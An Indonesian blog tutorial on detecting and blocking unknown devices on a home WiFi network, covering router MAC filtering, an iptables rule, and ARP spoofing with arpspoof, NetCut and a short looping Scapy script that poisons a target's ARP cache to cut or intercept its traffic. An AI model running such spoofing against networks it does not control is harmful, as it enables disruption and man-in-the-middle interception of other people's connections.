Python: Blokir atau Putuskan Jaringan WiFi
Kode Python dan Jaringan Wifi
Blokir atau Putuskan Jaringan WiFi dengan Manual atau Otomatis
📌 Cara memblokir atau memutus koneksi perangkat asing dari jaringan WiFi tidak bisa dilakukan langsung menggunakan Python, karena Python tidak memiliki akses langsung ke jaringan. Namun, bisa menghapus atau memutus perangkat tersebut melalui langkah manual (menggunakan pengaturan router), atau dengan otomatisasi lanjutan seperti menggunakan script Python yang mengakses router via API/SSH atau memanfaatkan metode seperti ARP spoofing. Berikut adalah solusi lengkap — mulai dari cara manual, semi-otomatis, hingga integrasi Python:
Jika kamu memiliki kontrol penuh terhadap sistem (seperti Raspberry Pi, OpenWRT, atau server Linux), kamu bisa menggunakan Python untuk memblokir perangkat mencurigakan melalui beberapa langkah:
- Memantau daftar perangkat aktif di jaringan
- Memblokir MAC address mencurigakan menggunakan
iptables
Pengguna Windows:
- Windows tidak mendukung pemblokiran MAC Address secara langsung seperti Linux, tetapi masih bisa mendeteksi perangkat asing yang terhubung.
- Untuk pemblokiran otomatis, gunakan router yang mendukung API seperti OpenWRT atau MikroTik. Python dapat diintegrasikan dengan API router untuk memblokir perangkat secara otomatis.
- Jika menggunakan router rumahan biasa seperti TP-Link di Windows, kamu hanya bisa mendeteksi, bukan memblokir otomatis.
✅ Fitur yang Bisa Ditambahkan Nanti
| Fitur | Cara |
|---|---|
| Notifikasi Telegram / Email | Gunakan smtplib atau Telegram Bot API |
| Simpan log ke file | Tambahkan with open("log.txt", "a") di akhir loop |
| Scan otomatis saat boot | Tambahkan script ke Startup folder Windows |
| Blokir otomatis via router | Gunakan Python + MikroTik API atau OpenWRT UCI |
Contoh Blokir MAC Address via iptables (Linux):
import os
# Ganti dengan MAC address yang mencurigakan
mac = "AA:BB:CC:DD:EE:FF"
os.system(f"iptables -A INPUT -m mac --mac-source {mac} -j DROP")
⚠️ Penting: Ini hanya bisa dilakukan jika kamu punya akses root/admin di sistem tersebut (misalnya server Linux, router custom, atau Raspberry Pi).
📌 Penjelasan Umum: Solusi manual ini bertujuan untuk mengamankan jaringan WiFi dari perangkat asing atau tidak dikenal yang terhubung secara ilegal. Langkah-langkah di bawah ini dapat diterapkan langsung menggunakan router/modem tanpa perlu aplikasi tambahan.
-
Login ke Router / Modem WiFi
- Buka browser dan akses alamat IP gateway:
- Biasanya:
192.168.1.1atau192.168.0.1 - Login menggunakan username dan password router (lihat stiker pada modem atau tanyakan ke penyedia layanan internet/ISP).
- Umumnya kombinasi default adalah
admin / adminatauadmin / user
-
Blokir atau Putuskan Koneksi Perangkat Asing
- Setelah login, cari menu seperti:
- Device List
- Connected Devices
- DHCP Clients
- Atau menu sejenis yang menampilkan daftar perangkat yang terhubung.
- Identifikasi perangkat asing berdasarkan:
- IP Address: Misalnya
192.168.1.5 - MAC Address: Misalnya
68:58:11:30:78:20,92:24:25:03:50:BE
- IP Address: Misalnya
- Salin atau catat MAC Address dari perangkat mencurigakan.
- Masuk ke menu seperti:
- MAC Filtering
- Access Control
- Client Management
- Tambahkan MAC Address tersebut ke daftar blokir, lalu pilih opsi Deny atau Block, kemudian klik Apply / Save.
- Setelah login, cari menu seperti:
-
Ubah Password WiFi (Opsional tapi Sangat Dianjurkan)
- Jika Anda menemukan banyak perangkat mencurigakan, segera ganti SSID (nama WiFi) dan password.
- Gunakan sistem keamanan terkini seperti WPA2 atau WPA3 (hindari Open atau WEP).
- Pilih password yang kuat: kombinasi huruf besar, huruf kecil, angka, dan simbol (contoh:
G@ntiWifi#2025!). - Setelah mengganti password, hanya perangkat yang memiliki password baru yang bisa terhubung.
⚠️ Peringatan: Teknik ini tergolong lanjutan (advanced) dan termasuk dalam kategori network attack jika dilakukan di luar kendali jaringan pribadi Anda. ARP Spoofing dapat dianggap sebagai aktivitas hacking dan bisa menimbulkan masalah hukum jika disalahgunakan. Gunakan hanya untuk pembelajaran atau pengamanan jaringan pribadi sendiri.
🔧 Tujuan: Memutus koneksi perangkat asing dari jaringan lokal dengan menyalahgunakan cache ARP (Address Resolution Protocol) di jaringan LAN.
🧰 Tools yang Dapat Digunakan:
- NetCut (Windows) – Antarmuka GUI untuk memutus perangkat secara cepat. Cocok untuk pengguna biasa, tapi tetap harus berhati-hati dalam penggunaannya.
- Bettercap atau arpspoof (Linux / Termux Android) – Untuk pengguna tingkat lanjut yang ingin kendali penuh dan pemantauan lalu lintas jaringan.
- arp -d (Command Prompt Windows) – Hanya untuk menghapus cache ARP lokal sendiri, bukan untuk memutus koneksi perangkat lain.
💻 Contoh Penggunaan di CMD (Windows):
arp -a
arp -d [IP_Tujuan]
Catatan: Perintah di atas hanya menghapus entri ARP dari cache lokal komputer, bukan perangkat lain.
🐧 Contoh Penggunaan arpspoof di Linux:
# Instal arpspoof
sudo apt install dsniff
# Jalankan arpspoof untuk mengarahkan lalu lintas perangkat target ke alamat palsu
sudo arpspoof -i eth0 -t 192.168.1.5 192.168.1.1
Penjelasan: Perintah di atas membuat perangkat dengan IP 192.168.1.5 menganggap Anda adalah gateway (router), sehingga lalu lintasnya dapat diputus atau diarahkan ulang.
🧠 Tips Tambahan:
- Pastikan Anda mengetahui IP dan MAC Address perangkat target sebelum melakukan spoofing.
- Gunakan pemantauan dengan Wireshark atau fitur
netstatuntuk melihat perangkat aktif. - Jangan lakukan dalam jaringan publik atau milik orang lain. Gunakan hanya untuk keamanan jaringan pribadi seperti di rumah atau kantor sendiri.
✅ Alternatif Lebih Aman: Jika Anda tidak yakin, lebih baik gunakan solusi manual seperti pada bagian C (login router, blokir via MAC Filtering, ubah password).
📌 Apakah Python bisa langsung memutus koneksi perangkat dari jaringan?
❌ Tidak secara langsung. Python tidak memiliki izin atau akses bawaan untuk mengontrol jaringan atau memutus perangkat tanpa bantuan eksternal. Namun, Python dapat digunakan sebagai alat pengendali otomatis jika dikombinasikan dengan:
- 🔐 API Router – Jika router mendukung API (misalnya Mikrotik, TP-Link Omada, atau router berbasis OpenWRT), Python bisa mengirim perintah untuk blokir MAC Address atau memutus perangkat.
- 📡 SSH / Telnet – Python bisa mengakses router via CLI (Command Line Interface) menggunakan pustaka seperti
paramiko(SSH) atautelnetlibuntuk mengirim perintah langsung. - ⚙️ NetCut, Bettercap, atau Tools Lain – Python dapat menjalankan program pihak ketiga seperti
NetCutatauBettercaplewatsubprocessuntuk mengotomatisasi ARP Spoofing.
🧠 Contoh Kemampuan Python dalam Sistem Semi-Otomatis:
- 🔍 Memindai perangkat aktif di jaringan (misalnya dengan
scapyataunmap). - 📝 Menyimpan daftar perangkat mencurigakan ke dalam log.
- 🔔 Mengirim notifikasi jika perangkat asing terdeteksi (via Telegram, Email, atau Desktop Popup).
- 🚀 Menjalankan perintah router atau tools pihak ketiga secara otomatis.
💡 Contoh Sederhana Python Panggil NetCut (Windows):
import subprocess
target_mac = "68:58:11:30:78:20"
subprocess.run(["netcut.exe", "-d", target_mac])
Catatan: Perintah di atas hanya ilustrasi. Diperlukan penyesuaian berdasarkan lokasi file dan hak akses administrator.
🔧 Buat skrip Python yang:
- 📄 Menyimpan perangkat mencurigakan ke log (.txt atau database)
- 📬 Mengirim notifikasi otomatis (email / Telegram)
- ⚡ Memanggil perintah blokir router (jika router/modem mendukung API/SSH)
💡 Saran Praktis:
Perangkat dengan IP 192.168.1.1 biasanya adalah router atau modem Anda sendiri, bukan perangkat asing. Jadi, jangan blokir perangkat ini.
✅ Fokuskan identifikasi dan pemblokiran pada perangkat dengan IP seperti:
192.168.1.2, .3, .4, dan seterusnya — terutama jika Anda tidak mengenali nama perangkat atau tidak sedang digunakan oleh anggota rumah/kantor.
📌 Langkah-langkah praktis dan aman untuk menjaga jaringan WiFi Anda dari perangkat asing:
- 🔍 Deteksi Perangkat Asing:
Pindai jaringan untuk mengetahui IP Address dan MAC Address semua perangkat yang terhubung. - 📋 Bandingkan dengan Whitelist:
Buat daftar whitelist perangkat yang Anda kenali (berdasarkan MAC Address). Cocokkan hasil deteksi dengan daftar ini. - 🛑 Buat Daftar Blokir (Blocklist):
Simpan IP dan MAC Address yang tidak dikenal ke dalam fileblocklist.txtsebagai arsip atau acuan untuk blokir manual. - 📣 Notifikasi (Opsional):
Kirimkan notifikasi (via email, Telegram, atau popup) jika ada perangkat mencurigakan yang muncul di luar whitelist.
Rekomendasi Pengaturan Tambahan di Router:
- ✔️ Blok Semua Kecuali Whitelist MAC Address: Gunakan fitur MAC Filtering pada mode
Allow onlyatauWhitelist only. - ✔️ Aktifkan Client Isolation: Agar antar-perangkat di jaringan tidak bisa saling berkomunikasi langsung.
- ✔️ Sembunyikan SSID: Aktifkan Non-Broadcast Mode agar WiFi tidak terlihat oleh perangkat umum. (Hanya berguna sebagai lapisan tambahan, bukan pengaman utama.)
✅ Catatan: Langkah ini tidak bersifat ofensif, tapi bertujuan menjaga keamanan jaringan secara etis dan bertanggung jawab.
✅ Apa itu Scapy?
Scapy adalah library Python yang sangat powerful untuk membuat, memodifikasi, dan mengirim paket jaringan. Cocok digunakan untuk:
- ARP spoofing
- Sniffing (penyadapan paket)
- Scanning jaringan LAN
Scapy berjalan native di Windows, Linux, dan macOS tanpa perlu software tambahan.
✅ Contoh ARP Spoofing dengan Scapy (Blokir/Motong Traffic)
Berikut contoh kode Python menggunakan Scapy untuk melakukan spoofing ARP:
from scapy.all import ARP, send
target_ip = "192.168.1.50"
gateway_ip = "192.168.1.1"
target_mac = "AA:BB:CC:DD:EE:FF" # MAC target
my_mac = "XX:XX:XX:XX:XX:XX" # MAC penyerang
# Spoof: Beritahu target bahwa penyerang adalah gateway
arp_response = ARP(op=2, pdst=target_ip, psrc=gateway_ip, hwdst=target_mac)
print(f"Menyerang {target_ip} ...")
send(arp_response, inter=2, loop=1)
➡️ Prinsip kerja: Target akan mengira penyerang adalah gateway dan mengirim semua traffic ke penyerang. Lalu, penyerang bisa:
- Meneruskan traffic (MITM / Man-in-the-Middle)
- Memutus koneksi (tidak diteruskan) sehingga target “terputus” dari LAN/Internet
✅ Kelebihan Scapy
- 100% Python native (tanpa tool eksternal)
- Fleksibel: bisa digunakan untuk ARP spoofing, sniffing, DNS spoofing, dll
- Berjalan di banyak OS (Windows/Linux/macOS)
⚠️ Kekurangan & Syarat
- Harus mengetahui alamat IP dan MAC target
- Harus dijalankan sebagai Administrator/root
4️⃣ Praktik Nyata: Skema Penggunaan Scapy
Langkah umum penggunaan Scapy untuk ARP spoofing:
- Scan jaringan LAN menggunakan
arping,nmap, atauscapy.ARP who-has - Temukan IP dan MAC target
- Jalankan loop spoofing dengan
send()secara terus menerus - Untuk mengakhiri serangan, hentikan script → target akan memperbarui ARP-nya
🔑 Kesimpulan
Scapy adalah solusi 100% Python yang paling fleksibel untuk manipulasi paket jaringan, termasuk spoofing, sniffing, dan pemblokiran perangkat di jaringan LAN.
🏠 Investasi properti seperti rumah, ruko, atau tanah.
🏠 Investasi properti seperti rumah, ruko, atau tanah.
🏠 Investasi properti seperti rumah, ruko, atau tanah.
Comments
Post a Comment